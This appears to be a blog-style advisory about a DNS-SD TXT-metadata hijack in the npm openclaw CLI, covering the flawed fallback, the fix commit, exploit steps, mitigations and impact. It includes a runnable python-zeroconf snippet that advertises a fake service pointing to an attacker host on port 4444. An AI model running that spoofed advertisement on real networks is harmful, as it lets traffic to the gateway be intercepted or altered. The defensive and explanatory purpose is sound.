Listen to this Post
How the mentioned CVE works:
The vulnerability resides in the Bonjour/DNS-SD service discovery mechanism used by the openclaw CLI. When the CLI attempts to locate a gateway service on the local network, it listens for DNS-SD advertisements. Each advertisement includes TXT records that may contain host and port hints. In affected versions (<2026.3.22), if the actual service resolution (e.g., A/AAAA record lookup) failed, the CLI would fall back to the unresolved TXT metadata and still use those hints to determine routing. This allowed a malicious actor on the same network to craft a DNS-SD response with a valid TXT record but with no corresponding resolvable endpoint. The CLI would then route traffic to the attacker‑controlled host and port specified in the TXT record, effectively hijacking the gateway connection. The flaw originated in src/infra/bonjour-discovery.ts, where the discovery logic did not enforce that only fully resolved endpoints (with valid IP addresses) were returned. The fix removed the fallback path and now returns only concrete, resolved endpoints, failing closed when resolution fails. The issue was reported by @nexrin and patched in commit deecf68b59a9b7eea978e40fd3c2fe543087b569, with the fix first included in v2026.3.22.
dailycve form:
Platform: npm openclaw
Version: < 2026.3.22
Vulnerability: TXT metadata hijack
Severity: Medium
date: 2026‑03‑26
Prediction: already patched 2026‑03‑22
What Undercode Say:
Analytics – bash commands and codes to verify the issue:
Check installed openclaw version
npm list openclaw
Inspect Bonjour advertisements on the network (requires avahi or dns-sd)
dns-sd -B _openclaw._tcp
Simulate a malicious advertisement (example using python-zeroconf)
python3 -c "
from zeroconf import ServiceInfo, Zeroconf
import socket
info = ServiceInfo(
'_openclaw._tcp.local.',
'evil._openclaw._tcp.local.',
addresses=[socket.inet_aton('192.168.1.100')],
port=4444,
properties={'host': 'attacker.local', 'port': '4444'},
server='attacker.local.'
)
zc = Zeroconf()
zc.register_service(info)
input('Press Enter to stop...')
zc.unregister_service(info)
zc.close()
"
Verify the fix by checking the commit in the source
git show deecf68b59a9b7eea978e40fd3c2fe543087b569
how Exploit:
- An attacker on the same local network runs a DNS‑SD service that advertises a fake `_openclaw._tcp` service.
- The advertisement includes a TXT record with `host=attacker.ip` and `port=4444` but does not provide a resolvable A/AAAA record for that host.
- When the openclaw CLI (affected version) performs discovery, it receives the advertisement. Because the service fails to resolve, it falls back to the TXT hints and routes the gateway connection to the attacker’s IP and port.
- The attacker can then intercept, redirect, or impersonate the intended gateway service.
Protection from this CVE
- Upgrade openclaw to v2026.3.22 or later immediately.
- If upgrade is not possible, restrict Bonjour/DNS‑SD traffic on untrusted networks (e.g., by disabling mDNS at the firewall or using network segmentation).
- Monitor network for unexpected `_openclaw._tcp` advertisements and investigate any unauthorized services.
Impact:
- Confidentiality: An attacker could intercept sensitive data exchanged with the gateway.
- Integrity: Malicious actors can modify or inject commands into the CLI‑gateway communication.
- Availability: The CLI may be directed to a non‑functional endpoint, causing denial of service.
- Attack Vector: Local network adjacency, requiring no user interaction beyond running the CLI on a network with an attacker‑controlled mDNS advertisement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
